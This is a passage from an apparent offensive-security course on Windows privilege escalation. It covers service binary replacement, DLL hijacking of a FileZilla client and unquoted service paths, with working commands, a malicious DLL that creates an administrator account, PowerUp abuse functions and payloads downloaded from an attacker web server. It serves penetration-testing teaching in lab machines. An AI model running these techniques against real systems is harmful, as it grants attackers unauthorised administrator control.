SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
Listing 49 - Checking for reboot privileges
Listing 49 shows that our user has the privilege in question (among others) and therefore, we should be able to initiate a system shutdown or reboot. The Disabled state only indicates if the privilege is currently enabled for the running process. In our case, it means that whoami has not requested and is not currently using the SeShutdownPrivilege privilege.
If the SeShutdownPrivilege privilege was not present, we would have to wait for the victim to manually start the service, which would be much less convenient.
We can issue a reboot with shutdown and the arguments /r (reboot instead of shutdown) and /t 0 (in zero seconds).
We should always try to avoid issuing reboots on production systems in a real-life penetration test. A reboot could lead to unforeseeable problems and should only be issued in direct collaboration with the client's IT staff. If a system doesn't boot up after we reboot, this could disrupt our client's day-to-day business and even cause long-term downtime of the infrastructure. This is especially the case in a situation when there is no current backup available.
PS C:\Users\dave> shutdown /r /t 0
Listing 50 - Rebooting the machine
Once the reboot is complete, we connect again as dave via RDP and open a PowerShell window. Because of the issued reboot and the Startup type auto, the service should have executed the executable file we placed to replace the original mysql service binary.
To confirm that our attack worked, let's list the members of the local Administrators group with Get-LocalGroupMember to check if dave2 was created and added to it.
PS C:\Users\dave> Get-LocalGroupMember administrators
ObjectClass Name PrincipalSource
----------- ---- ---------------
User CLIENTWK220\Administrator Local
User CLIENTWK220\BackupAdmin Local
User CLIENTWK220\dave2 Local
User CLIENTWK220\daveadmin Local
User CLIENTWK220\offsec Local
Listing 51 - Display members of the local administrators group
Listing 51 shows that dave2 was created and added to the local Administrators group. Great!
As in the previous sections, we can use RunAs to obtain an interactive shell. In addition, we could also use msfvenom8 to create an executable file, starting a reverse shell.
To restore the original state of the service, we have to delete our binary mysqld.exe, restore the backed up original binary, and restart the system.
Before we conclude this section, let's review an automated tool named PowerUp.ps19 and check if it detects this privilege escalation vector. To do so, we copy the script to kali's home directory and start a Python3 web server to serve it.
kali@kali:~$ cp /usr/share/windows-resources/powersploit/Privesc/PowerUp.ps1 .
kali@kali:~$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ..
Listing 52 - Copy PowerUp.ps1 to kali's home directory and serve it with a Python3 web server
On the target machine, we download it as dave with iwr in PowerShell and start powershell with the ExecutionPolicy Bypass. Otherwise, it won't be possible to run scripts as they are blocked.
After we import PowerUp.ps1, we can use Get-ModifiableServiceFile. This function displays services the current user can modify, such as the service binary or configuration files.
PS C:\Users\dave> iwr -uri http://192.168.48.3/PowerUp.ps1 -Outfile PowerUp.ps1
PS C:\Users\dave> powershell -ep bypass
...
PS C:\Users\dave> . .\PowerUp.ps1
PS C:\Users\dave> Get-ModifiableServiceFile
...
ServiceName : mysql
Path : C:\xampp\mysql\bin\mysqld.exe --defaults-file=c:\xampp\mysql\bin\my.ini mysql
ModifiableFile : C:\xampp\mysql\bin\mysqld.exe
ModifiableFilePermissions : {WriteOwner, Delete, WriteAttributes, Synchronize...}
ModifiableFileIdentityReference : BUILTIN\Users
StartName : LocalSystem
AbuseFunction : Install-ServiceBinary -Name 'mysql'
CanRestart : False
Listing 53 - Import PowerUp.ps1 and execute Get-ModifiableServiceFile
The output of Get-ModifiableServiceFile shows us that PowerUp identified mysql (among others) to be vulnerable. In addition, it provides information about the file path, the principal (BUILTIN\Users group), and if we have permissions to restart the service (False).
PowerUp also provides us an AbuseFunction, which is a built-in function to replace the binary and, if we have sufficient permissions, restart it. The default behavior is to create a new local user called john with the password Password123! and add it to the local Administrators group. Because we don't have enough permissions to restart the service, we still need to reboot the machine.
However, if we use the AbuseFunction Install-ServiceBinary with the service name, we receive an error.
PS C:\Users\dave> Install-ServiceBinary -Name 'mysql'
Service binary 'C:\xampp\mysql\bin\mysqld.exe --defaults-file=c:\xampp\mysql\bin\my.ini mysql' for service mysql not
modifiable by the current user.
At C:\Users\dave\PowerUp.ps1:2178 char:13
+ throw "Service binary '$($ServiceDetails.PathName)' for s ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : OperationStopped: (Service binary ...e current user.:String) [], RuntimeException
+ FullyQualifiedErrorId : Service binary 'C:\xampp\mysql\bin\mysqld.exe --defaults-file=c:\xampp\mysql\bin\my.ini
mysql' for service mysql not modifiable by the current user.
Listing 54 - Error from AbuseFunction
The output states that the service binary file is not modifiable by the current user. However, we already established that we have Full Access permissions on the service binary and demonstrated that we could replace the file manually.
Reviewing the code10 of PowerUp and checking the outputs of the commands used in Get-ModifiableServiceFile, we identify that Get-ModifiablePath is used to return modifiable paths for the current user. However, for us, it provides an empty result, leading to the above error.
Let's examine this behavior in order to understand why AbuseFunction is throwing an error. First, we'll try the service binary path without any arguments for Get-ModifiablePath. Then, we'll add another argument to check if the function still provides the correct output. Finally, we'll use an argument with a path inside.
PS C:\Users\dave> $ModifiableFiles = echo 'C:\xampp\mysql\bin\mysqld.exe' | Get-ModifiablePath -Literal
PS C:\Users\dave> $ModifiableFiles
ModifiablePath IdentityReference Permissions
-------------- ----------------- -----------
C:\xampp\mysql\bin\mysqld.exe BUILTIN\Users {WriteOwner, Delete, WriteAttributes, Synchronize...}
PS C:\Users\dave> $ModifiableFiles = echo 'C:\xampp\mysql\bin\mysqld.exe argument' | Get-ModifiablePath -Literal
PS C:\Users\dave> $ModifiableFiles
ModifiablePath IdentityReference Permissions
-------------- ----------------- -----------
C:\xampp\mysql\bin NT AUTHORITY\Authenticated Users {Delete, WriteAttributes, Synchronize, ReadControl...}
C:\xampp\mysql\bin NT AUTHORITY\Authenticated Users {Delete, GenericWrite, GenericExecute, GenericRead}
PS C:\Users\dave> $ModifiableFiles = echo 'C:\xampp\mysql\bin\mysqld.exe argument -conf=C:\test\path' | Get-ModifiablePath -Literal
PS C:\Users\dave> $ModifiableFiles
Listing 55 - Analyzing the function ModifiablePath
Listing 55 shows that while the service binary with or without another argument works as expected, a path as an argument creates an empty result. Because the mysql service specifies the argument C:\xampp\mysql\bin\my.ini for defaults-file in the service binary path displayed in Listing 40, the AbuseFunction throws an error. In a situation like this, we should use the result of the identified vulnerable service file and do a manual exploitation as we did in this section.
Our investigation shows that we should never blindly trust or rely on the output of automated tools. However, PowerUp is a great tool to identify potential privilege escalation vectors, which can be used to automatically check if the vulnerability can be exploited. If this is not the case, we should do some manual analysis if the potential vector is not vulnerable or the AbuseFunction just cannot exploit it.
In this section, we first enumerated services and their binary permissions. After we identified that the group Users, and therefore, our user dave, has Full Access to the binary mysqld.exe, we cross-compiled a small binary creating an administrative user named dave2. After we copied it to the target system, we replaced mysqld.exe with our binary. Since we couldn't restart the service, we needed to reboot the system. After the system was rebooted, the service mysql started and dave2 was created and added to the local group Administrators.
(Microsoft Documentation, 2021), https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-classes ↩︎
(Microsoft Documentation, 2022), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/where-object?view=powershell-7.2 ↩︎
(Microsoft Documentation, 2022), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.security/get-acl?view=powershell-7.2 ↩︎
(Microsoft Documentation, 2022), https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/icacls ↩︎
(Man7, 2022), https://man7.org/linux/man-pages/man3/system.3.html ↩︎
(Microsoft Documentation, 2021), https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/user-rights-assignment ↩︎
(OffSec, 2023), https://www.offensive-security.com/metasploit-unleashed/msfvenom/ ↩︎
(Github, 2017), https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc ↩︎
Resources
Some of the labs require you to start the target machine(s) below.
Please note that the IP addresses assigned to your target machines may not match those referenced in the Module text and video.
Labs
- Follow the steps outlined in this section on CLIENTWK220 (VM #1) to replace the service binary of the service mysql. Enter the flag, which can be found on the desktop of user daveadmin.
- Connect to CLIENTWK221 (VM #2) via RDP as user milena with the password MyBirthDayIsInJuly1!. Find a service in which milena can replace the service binary. Get an interactive shell as user running the service and find the flag on the desktop.
16.2.2. DLL Hijacking
Replacing the binary of a service is a very effective way to attempt privilege escalation on Windows systems. However, because our user doesn't often have permissions to replace these binaries, we'll need to adapt with a more advanced way of abusing Windows services.
Dynamic Link Libraries (DLL)1 provide functionality to programs or the Windows operating system. DLLs contain code or resources, such as icon files, for other executable files or objects to use. These libraries provide a way for developers to use and integrate already existing functionality without reinventing the wheel. Windows uses DLLs to store functionality needed by several components. Otherwise, each component would need the functionality in their own source code resulting in a huge resource waste. On Unix systems, these files are called Shared Objects.2
There are several methods we can use to exploit how DLLs work on Windows and they can often be an effective way of elevating our privileges. One method is similar to the privilege escalation vector performed in the previous section. Instead of overwriting the binary, we merely overwrite a DLL the service binary uses. However, the service or application may not work as expected because the actual DLL functionality is missing. In most cases, this would still lead us to code execution of the DLL's code and then, for example, to the creation of a new local administrative user.
Another method is to hijack the DLL search order.3 The search order is defined by Microsoft and determines what to inspect first when searching for DLLs. By default, all current Windows versions have safe DLL search mode enabled.
This setting was implemented by Microsoft due to the high number of DLL hijacking vectors and ensures that DLLs are more difficult to hijack. The following listing shows the standard search order taken from the Microsoft Documentation:3:1
1. The directory from which the application loaded.
2. The system directory.
3. The 16-bit system directory.
4. The Windows directory.
5. The current directory.
6. The directories that are listed in the PATH environment variable.
Listing 56 - Standard DLL search order on current Windows versions
Windows first searches the application's directory. Interestingly, the current directory is at position 5. When safe DLL search mode is disabled, the current directory is searched at position 2 after the application's directory.
A special case of this method is a missing DLL. This means the binary attempted to load a DLL that doesn't exist on the system. This often occurs with flawed installation processes or after updates. However, even with a missing DLL, the program may still work with restricted functionality.
To exploit this situation, we can try placing a malicious DLL (with the name of the missing DLL) in a path of the DLL search order so it executes when the binary is started.
Let's show how we can abuse a missing DLL in an example by connecting to CLIENTWK220 with RDP as steve and password securityIsNotAnOption++++++. We'll start PowerShell and enumerate the installed applications as we did in the previous section.
PS C:\Users\steve> Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
displayname
-----------
FileZilla 3.63.1
KeePass Password Safe 2.51.1
Microsoft Edge
Microsoft Edge Update
Microsoft Edge WebView2 Runtime
Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.28.29913
Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913
Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913
Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.28.29913
Listing 57 - Displaying information about the running service FileZilla
Looking at the output from Listing 57 we see that version 3.63.1 of the FileZilla FTP Client application is present on the machine.
According to online resources this application seems to contain a DLL hijacking vulnerability4. When the application is started it will attempt to load the TextShaping.dll file from the installation directory. If we're able to place a malicious DLL here then whenever someone attempts to run the FileZilla FTP Client the DLL should be loaded with the permissions of the user.
Before moving forward with this vulnerability we need to determine if we are able to write files to the FileZilla directory.
PS C:\Users\steve> echo "test" > 'C:\FileZilla\FileZilla FTP Client\test.txt'
PS C:\Users\steve> type 'C:\FileZilla\FileZilla FTP Client\test.txt'
test
Listing 58 - Displaying permissions on the binary of FileZilla
Listing 58 shows that we are successfully able to create files in the directory with our current privileges.
We can use Process Monitor5 to display real-time information about any process, thread, file system, or registry related activities. Our goal is to identify all DLLs loaded by FileZilla as well as detect missing ones. Once we have a list of DLLs used by the service binary, we can check their permissions and if they can be replaced with a malicious DLL. Alternatively, if find that a DLL is missing, we could try to provide our own DLL by adhering to the DLL search order.
Unfortunately, we need administrative privileges to start Process Monitor and collect this data. However, the standard procedure in a penetration test would be to copy the service binary to a local machine. On this system, we can install the service locally and use Process Monitor with administrative privileges to list all DLL activity.
In this example, we'll simulate this step by starting Process Monitor as backupadmin. We can browse in the Windows Explorer to C:\tools\Procmon\ and double-click on Procmon64.exe. A window will appear asking us for administrative user credentials as shown in the following figure. Once we enter the password admin123admin123! for backupadmin and accept the terms, the program starts.
Without any filters, the information provided by Process Monitor can be quite overwhelming. Multiple new list entries are added every second. For now, we are only interested in events related to the process filezilla.exe of the target service, so we can create a filter to only include events related to it. For this, we'll click on the Filter menu > Filter... to get into the filter configuration.
The filter consists of four conditions. Our goal is that Process Monitor only shows events related to the FileZilla Process. We enter the following arguments: Process Name as Column, is as Relation, filezilla.exe as Value, and Include as Action. Once entered, we'll click on Add.
After applying the filter, we will see that all the ouput of Procmon is now limited to the filezilla.exe binary. In order to analyze the service binary, we should try clearing all the current events using the Clear button.
With the events cleared we will run the application as the currently logged in user (steve). Checking Process Monitor after the application has started, we notice that a large number of events appeared.
Going over the basic usage of Procmon6 we see that the operation CreateFile is responsible for not only creating files but also accessing existing files. Let's try to expand our filters and list only CreateFile operations which include the TextShaping.dll name in the Path. According to the public information on this vulnerability, this DLL is used to hijack the execution when the FileZilla FTP Client is started.
Let's update our filters and look for only CreateFile operations. Additionally we will also try to limit our search results by looking for the specificl DLL name inside the Path.
After applying our new filters we can see that the number of events is greately reduced. What we do notice is that the CreateFile operations related to the TextShaping.dll DLL first attempts to load the DLL from the application path C:\FileZilla\FileZilla FTP Client\ where it fails with the NAME NOT FOUND result indicating that the DLL is not present there at all. This is followed by two more CreateFile operations where the DLL is loaded from System32 which seem to succeed.
So far, we know that the application tries to locate a file called TextShaping.dll from its application directory initially, but fails to do so. To abuse this, we can attempt to write a DLL file with this name to a application directory which is first used by the DLL search order. We have already confirmed that our user has permissions to write to this directory so let's proceed with this plan.
Before we create a DLL, let's briefly review how attaching a DLL works and how it may lead us to code execution. Each DLL can have an optional entry point function named DllMain, which is executed when processes or threads attach the DLL. This function generally contains four cases named DLL_PROCESS_ATTACH, DLL_THREAD_ATTACH, DLL_THREAD_DETACH, DLL_PROCESS_DETACH. These cases handle situations when the DLL is loaded or unloaded by a process or thread. They are commonly used to perform initialization tasks for the DLL or tasks related to exiting the DLL. If a DLL doesn't have a DllMain entry point function, it only provides resources.
The following listing shows us a code example7 from Microsoft, outlining a basic DLL in C++8 containing these four cases. The DLL code contains the entry point function DllMain and the previously mentioned cases in a switch statement. Depending on the value of ul_reason_for_call one of these cases gets executed. As of now, all cases only use a break statement.
BOOL APIENTRY DllMain(
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved ) // Reserved
{
switch ( ul_reason_for_call )
{
case DLL_PROCESS_ATTACH: // A process is loading the DLL.
break;
case DLL_THREAD_ATTACH: // A process is creating a new thread.
break;
case DLL_THREAD_DETACH: // A thread exits normally.
break;
case DLL_PROCESS_DETACH: // A process unloads the DLL.
break;
}
return TRUE;
}
Listing 59 - Code example of a basic DLL in C++
The provided comments from Microsoft state that DLL_PROCESS_ATTACH is used when a process is loading the DLL. Since the target binary process in our example tries to load the DLL, this is the case we need to add our code to.
Let's reuse the C code from the previous section by adding the include statement as well as the system function calls to the C++ DLL code. Additionally, we need to use an include statement for the header file windows.h, since we use Windows specific data types such as BOOL. The final code is shown in the following listing.
#include <stdlib.h>
#include <windows.h>
BOOL APIENTRY DllMain(
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved ) // Reserved
{
switch ( ul_reason_for_call )
{
case DLL_PROCESS_ATTACH: // A process is loading the DLL.
int i;
i = system ("net user dave3 password123! /add");
i = system ("net localgroup administrators dave3 /add");
break;
case DLL_THREAD_ATTACH: // A process is creating a new thread.
break;
case DLL_THREAD_DETACH: // A thread exits normally.
break;
case DLL_PROCESS_DETACH: // A process unloads the DLL.
break;
}
return TRUE;
}
Listing 60 - C++ DLL example code from Microsoft
Now, let's cross-compile the code with mingw. We use the same command as in the previous section but change the input code file, the output name, and add --shared to specify that we want to build a DLL.
kali@kali:~$ x86_64-w64-mingw32-gcc TextShaping.cpp --shared -o TextShaping.dll
Listing 61 - Cross-Compile the C++ Code to a 64-bit DLL
Once the DLL is compiled, we can transfer it to CLIENTWK220. We can start a Python3 web server on Kali in the directory the DLL is located in and use iwr in a PowerShell window on the target machine.
As part of using iwr to download the file, we specify the FileZilla FTP Client path as the OutFile argument to ensure that the DLL is placed in the correct place.
PS C:\Users\steve> iwr -uri http://192.168.48.3/TextShaping.dll -OutFile 'C:\FileZilla\FileZilla FTP Client\TextShaping.dll'
Listing 62 - Download compiled DLL
TextShaping.dll is now located in the C:\FileZilla\FileZilla FTP Client\ directory, which is the first path in the DLL search order. In order for the DLL hijacking to trigger the FileZilla FTP Client needs to be started, however, it is important to keep in mind that the privileges the DLL will run with depend on the privileges used to start the application. If we were to start the FTP client as the user steve then we would not have the required privileges to add a new user to the system and place them in the Administrators group.
With this in mind, we don't have to start the application on our own. We have the option of waiting for someone with higher privileges to run the application and trigger the loading of our malicious DLL.
PS C:\Users\steve> net user
User accounts for \\CLIENTWK220
-------------------------------------------------------------------------------
Administrator BackupAdmin dave
dave3 daveadmin DefaultAccount
Guest offsec steve
WDAGUtilityAccount
The command completed successfully.
PS C:\Users\steve> net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
BackupAdmin
dave3
daveadmin
offsec
The command completed successfully.
Listing 63 - Confirming that the dave3 was created as local administrator
After a few minutes, we can see that the output from Listing 63 shows that dave3 was created and added to the local Administrators group, meaning that someone with higher privileges launched the application. Excellent!
Let's briefly summarize what we did in this section. Through the information obtained from The Exploit Database and Process Monitor, we identified that the FileZilla FTP Client is loading the TextShaping.dll DLL from the application installation path. Because we could write to this directory, which is also the first directory of the DLL search order specified by Microsoft, our malicious DLL was loaded and executed once the service was restarted.
(Microsoft Documentation, 2022), https://docs.microsoft.com/en-us/troubleshoot/windows-client/deployment/dynamic-link-library ↩︎
(Oracle Documentation, 2022), https://docs.oracle.com/cd/E19120-01/open.solaris/819-0690/6n33n7f8u/index.html ↩︎
(Microsoft Documentation, 2021), https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order ↩︎ ↩︎
(Exploit-DB 2024), https://www.exploit-db.com/exploits/51267 ↩︎
(Microsoft Documentation, 2022), https://docs.microsoft.com/en-us/sysinternals/downloads/procmon ↩︎
(Procmon Basics, 2018), https://concurrency.com/blog/procmon-basics/ ↩︎
(Microsoft Documentation, 2022), https://docs.microsoft.com/en-us/troubleshoot/windows-client/deployment/dynamic-link-library#the-dll-entry-point ↩︎
(Wikipedia, 2022), https://en.wikipedia.org/wiki/C%2B%2B ↩︎
Resources
Some of the labs require you to start the target machine(s) below.
Please note that the IP addresses assigned to your target machines may not match those referenced in the Module text and video.
Labs
- Follow the steps from this section on CLIENTWK220 (VM #1) to identify the missing DLL, cross-compile your own DLL, and place it in a directory that it gets executed when the service FileZilla FTP Client is started. After placing the malicious DLL wait several minutes for a high privileged user to start the application, obtain code execution, an interactive shell, or access to the GUI and enter the flag, which can be found on the desktop of daveadmin.
16.2.3. Unquoted Service Paths
Another interesting attack vector that can lead to privilege escalation on Windows operating systems revolves around unquoted service paths.1 We can use this attack when we have Write permissions to a service's main directory or subdirectories but cannot replace files within them.
As we learned in the previous sections, each Windows service maps to an executable file that will be run when the service is started. If the path of this file contains one or more spaces and is not enclosed within quotes, it may be turned into an opportunity for a privilege escalation attack.
When a service is started and a process is created, the Windows CreateProcess2 function is used. Reviewing the first parameter of the function, lpApplicationName is used to specify the name and optionally the path to the executable file. If the provided string contains spaces and is not enclosed within quotation marks, it can be interpreted in various ways because it is unclear to the function where the file name ends and the arguments begin. To determine this, the function starts interpreting the path from left to right until a space is reached. For every space in the file path, the function uses the preceding part as file name by adding .exe and the rest as arguments.
Let's show this in an example with the unquoted service binary path C:\Program Files\My Program\My Service\service.exe. When Windows starts the service, it will use the following order to try to start the executable file due to the spaces in the path.
C:\Program.exe
C:\Program Files\My.exe
C:\Program Files\My Program\My.exe
C:\Program Files\My Program\My service\service.exe
Listing 64 - Example of how Windows will try to locate the correct path of an unquoted service
Listing 64 shows the order Windows tries to interpret the service binary path to locate the executable file.
In order to exploit this and subvert the original unquoted service call, we must create a malicious executable, place it in a directory that corresponds to one of the interpreted paths, and match its name to the interpreted filename. Then, once the service is started, our file gets executed with the same privileges that the service starts with. Often, this happens to be the LocalSystem account, which results in a successful privilege escalation attack.
In the context of the example, we could name our executable Program.exe and place it in C:\, My.exe and place it in C:\Program Files\, or My.exe and place it in C:\Program Files\My Program\. However, the first two options would require some unlikely permissions since standard users don't have the permissions to write to these directories by default. The third option is more likely as it is the software's main directory. If an administrative user or developer set the permissions for this directory too open, we can place our malicious binary there.
Now that we have a basic understanding of this vulnerability, let's use it in an example. We connect to CLIENTWK220 as steve (password securityIsNotAnOption++++++) with RDP. We open PowerShell and enumerate running and stopped services.
PS C:\Users\steve> Get-CimInstance -ClassName win32_service | Select Name,State,PathName
Name State PathName
---- ----- --------
...
GammaService Stopped C:\Program Files\Enterprise Apps\Current Version\GammaServ.exe
...
Listing 65 - List of services with binary path
Listing 65 shows a stopped service named GammaService. The unquoted service binary path contains multiple spaces and is therefore potentially vulnerable to this attack vector.
A more effective way to identify spaces in the paths and missing quotes is using the WMI command-line (WMIC)3 utility. We can enter service to obtain service information and the verb get with name and pathname as arguments to retrieve only these specific property values. We'll pipe the output of this command to findstr with /i for case-insensitive searching and /v to only print lines that don't match. As the argument for this command, we'll enter "C:\Windows\" to show only services with a binary path outside of the Windows directory. We'll pipe the output of this command to another findstr command, which uses """ as argument to print only matches without quotes.
Let's enter this command in cmd.exe instead of PowerShell to avoid escaping issues for the quote in the second findstr command.4 Alternatively, we could use Select-String5 in PowerShell.
C:\Users\steve> wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """
Name PathName
...
GammaService C:\Program Files\Enterprise Apps\Current Version\GammaServ.exe
Listing 66 - List of services with spaces and missing quotes in the binary path
The output of this command only lists services that are potentially vulnerable to our attack vector, such as GammaService.
Before we go on, let's check if we can start and stop the identified service as steve with Start-Service and Stop-Service.
PS C:\Users\steve> Start-Service GammaService
WARNING: Waiting for service 'GammaService (GammaService)' to start...
PS C:\Users\steve> Stop-Service GammaService
Listing 67 - Using Start-Service and Stop-Service to check if user steve has permissions to start and stop GammaService
The output from Listing 67 indicates that steve has permissions to start and stop GammaService.
Since we can restart the service ourselves, we don't need to issue a reboot to restart the service. Next, let's list the paths Windows uses to attempt locating the executable file of the service.
C:\Program.exe
C:\Program Files\Enterprise.exe
C:\Program Files\Enterprise Apps\Current.exe
C:\Program Files\Enterprise Apps\Current Version\GammaServ.exe
Listing 68 - How Windows tries to locate the correct path of the unquoted service GammaService
Let's check our access rights in these paths with icacls. We'll begin with the first two paths from Listing 68.
PS C:\Users\steve> icacls "C:\"
C:\ BUILTIN\Administrators:(OI)(CI)(F)
NT AUTHORITY\SYSTEM:(OI)(CI)(F)
BUILTIN\Users:(OI)(CI)(RX)
NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(M)
NT AUTHORITY\Authenticated Users:(AD)
Mandatory Label\High Mandatory Level:(OI)(NP)(IO)(NW)
Successfully processed 1 files; Failed processing 0 files
PS C:\Users\steve>icacls "C:\Program Files"
C:\Program Files NT SERVICE\TrustedInstaller:(F)
NT SERVICE\TrustedInstaller:(CI)(IO)(F)
NT AUTHORITY\SYSTEM:(M)
NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(F)
BUILTIN\Administrators:(M)
BUILTIN\Administrators:(OI)(CI)(IO)(F)
BUILTIN\Users:(RX)
BUILTIN\Users:(OI)(CI)(IO)(GR,GE)
CREATOR OWNER:(OI)(CI)(IO)(F)
...
Successfully processed 1 files; Failed processing 0 files
Listing 69 - Reviewing permissions on the paths C:\ and C:\Program Files\
As expected, our user steve, as a member of BUILTIN\Users and NT AUTHORITY\AUTHENTICATED Users, has no Write permissions in either of these paths. Now, let's check the path of the third option. We can skip the fourth path since it represents the service binary itself.
PS C:\Users\steve> icacls "C:\Program Files\Enterprise Apps"
C:\Program Files\Enterprise Apps NT SERVICE\TrustedInstaller:(CI)(F)
NT AUTHORITY\SYSTEM:(OI)(CI)(F)
BUILTIN\Administrators:(OI)(CI)(F)
BUILTIN\Users:(OI)(CI)(RX,W)
CREATOR OWNER:(OI)(CI)(IO)(F)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(OI)(CI)(RX)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(OI)(CI)(RX)
Successfully processed 1 files; Failed processing 0 files
Listing 70 - Reviewing permissions on the Enterprise Apps directory
Listing 70 shows that BUILTIN\Users has Write (w) permissions on the path C:\Program Files\Enterprise Apps. Our goal is now to place a malicious file named Current.exe in C:\Program Files\Enterprise Apps\.
We can reuse the adduser.exe binary by compiling the C code from the section "Service Binary Hijacking". On Kali, we start a Python3 web server in the directory of the executable file in order to serve it.
Once the web server is running, we can download adduser.exe on the target machine as steve. To save the file with the correct name for our privilege escalation attack, we enter Current.exe as argument for -Outfile. After the file is downloaded, we copy it to C:\Program Files\Enterprise Apps\.
PS C:\Users\steve> iwr -uri http://192.168.48.3/adduser.exe -Outfile Current.exe
PS C:\Users\steve> copy .\Current.exe 'C:\Program Files\Enterprise Apps\Current.exe'
Listing 71 - Download adduser.exe, save it as Current.exe, and copy it to Enterprise Apps directory
Now, everything is ready for us to start the service, which should execute Current.exe instead of the original service binary GammaServ.exe. For this, we use Start-Service with GammaService as argument. We can use net user to check if dave2 was created and net localgroup administrators to confirm that dave2 was added to the local Administrators group.
PS C:\Users\steve> Start-Service GammaService
Start-Service : Service 'GammaService (GammaService)' cannot be started due to the following error: Cannot start
service GammaService on computer '.'.
At line:1 char:1
+ Start-Service GammaService
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : OpenError: (System.ServiceProcess.ServiceController:ServiceController) [Start-Service],
ServiceCommandException
+ FullyQualifiedErrorId : CouldNotStartService,Microsoft.PowerShell.Commands.StartServiceCommand
PS C:\Users\steve> net user
Administrator BackupAdmin dave
dave2 daveadmin DefaultAccount
Guest offsec steve
WDAGUtilityAccount
The command completed successfully.
PS C:\Users\steve> net localgroup administrators
...
Members
-------------------------------------------------------------------------------
Administrator
BackupAdmin
dave2
daveadmin
offsec
The command completed successfully.
Listing 72 - Start service GammaService and confirm that dave2 was created as member of local Administrators group
Listing 72 shows that the Start-Service command displayed an error that Windows cannot start the service. The error stems from the fact that our cross-compiled C code does not accept the parameters that are a leftover of the original service binary path. However, Current.exe was still executed and dave2 was created as a member of the local Administrators group. Great!
To restore the functionality of the original service, we have to stop the service and delete our binary Current.exe. After the executable file is removed, Windows will use the service binary GammaServ.exe again once the service is started.
Before we conclude this section, let's check if PowerUp identifies this vulnerability. For this, we download PowerUp with iwr and import it into a PowerShell session as we did previously. Then we set the ExecutionPolicy to Bypass and use Get-UnquotedService.
PS C:\Users\steve> iwr http://192.168.48.3/PowerUp.ps1 -Outfile PowerUp.ps1
PS C:\Users\steve> powershell -ep bypass
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows
PS C:\Users\steve> . .\PowerUp.ps1
PS C:\Users\steve> Get-UnquotedService
ServiceName : GammaService
Path : C:\Program Files\Enterprise Apps\Current Version\GammaServ.exe
ModifiablePath : @{ModifiablePath=C:\; IdentityReference=NT AUTHORITY\Authenticated Users;
Permissions=AppendData/AddSubdirectory}
StartName : LocalSystem
AbuseFunction : Write-ServiceBinary -Name 'GammaService' -Path <HijackPath>
CanRestart : True
Name : GammaService
ServiceName : GammaService
Path : C:\Program Files\Enterprise Apps\Current Version\GammaServ.exe
ModifiablePath : @{ModifiablePath=C:\; IdentityReference=NT AUTHORITY\Authenticated Users;
Permissions=System.Object[]}
StartName : LocalSystem
AbuseFunction : Write-ServiceBinary -Name 'GammaService' -Path <HijackPath>
CanRestart : True
Name : GammaService
...
Listing 73 - Using Get-UnquotedService to list potential vulnerable services
Listing 73 shows that the GammaService was identified as vulnerable. Let's use the AbuseFunction and restart the service to attempt to elevate our privileges. For -Path, we enter the same path for Current.exe as we did in Listing 71. As stated before, the default behavior is to create a new local user called john with the password Password123!. Additionally, the user is added to the local Administrators group.
PS C:\Users\steve> Write-ServiceBinary -Name 'GammaService' -Path "C:\Program Files\Enterprise Apps\Current.exe"
ServiceName Path Command
----------- ---- -------
GammaService C:\Program Files\Enterprise Apps\Current.exe net user john Password123! /add && timeout /t 5 && net loc...
PS C:\Users\steve> Restart-Service GammaService
WARNING: Waiting for service 'GammaService (GammaService)' to start...
Restart-Service : Failed to start service 'GammaService (GammaService)'.
At line:1 char:1
+ Restart-Service GammaService
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : OpenError: (System.ServiceProcess.ServiceController:ServiceController) [Restart-Service]
, ServiceCommandException
+ FullyQualifiedErrorId : StartServiceFailed,Microsoft.PowerShell.Commands.RestartServiceCommand
PS C:\Users\steve> net user
User accounts for \\CLIENTWK220
-------------------------------------------------------------------------------
Administrator BackupAdmin dave
dave2 daveadmin DefaultAccount
Guest john offsec
steve WDAGUtilityAccount
The command completed successfully.
PS C:\Users\steve> net localgroup administrators
...
john
...
Listing 74 - Using the AbuseFunction to exploit the unquoted service path of GammaService
The output of the commands in Listing 74 shows that by using the AbuseFunction, Write-ServiceBinary, the user john was created as a local administrator. Very nice!
In this section, we covered yet another privilege escalation vector related to Windows services. We learned how to identify services missing quotes and containing spaces in the service binary path. Furthermore, we learned how Windows tries to determine the correct executable file path in this situation. By finding a writable directory suitable for this vulnerability, we could place a malicious executable file in the path, which is executed by starting the service. Finally, we automated the exploitation of this vector by using PowerUp's Get-UnquotedService and Write-ServiceBinary functions.
Although this vulnerability requires a specific combination of requirements, it is easily exploitable and a privilege escalation attack vector worth considering.
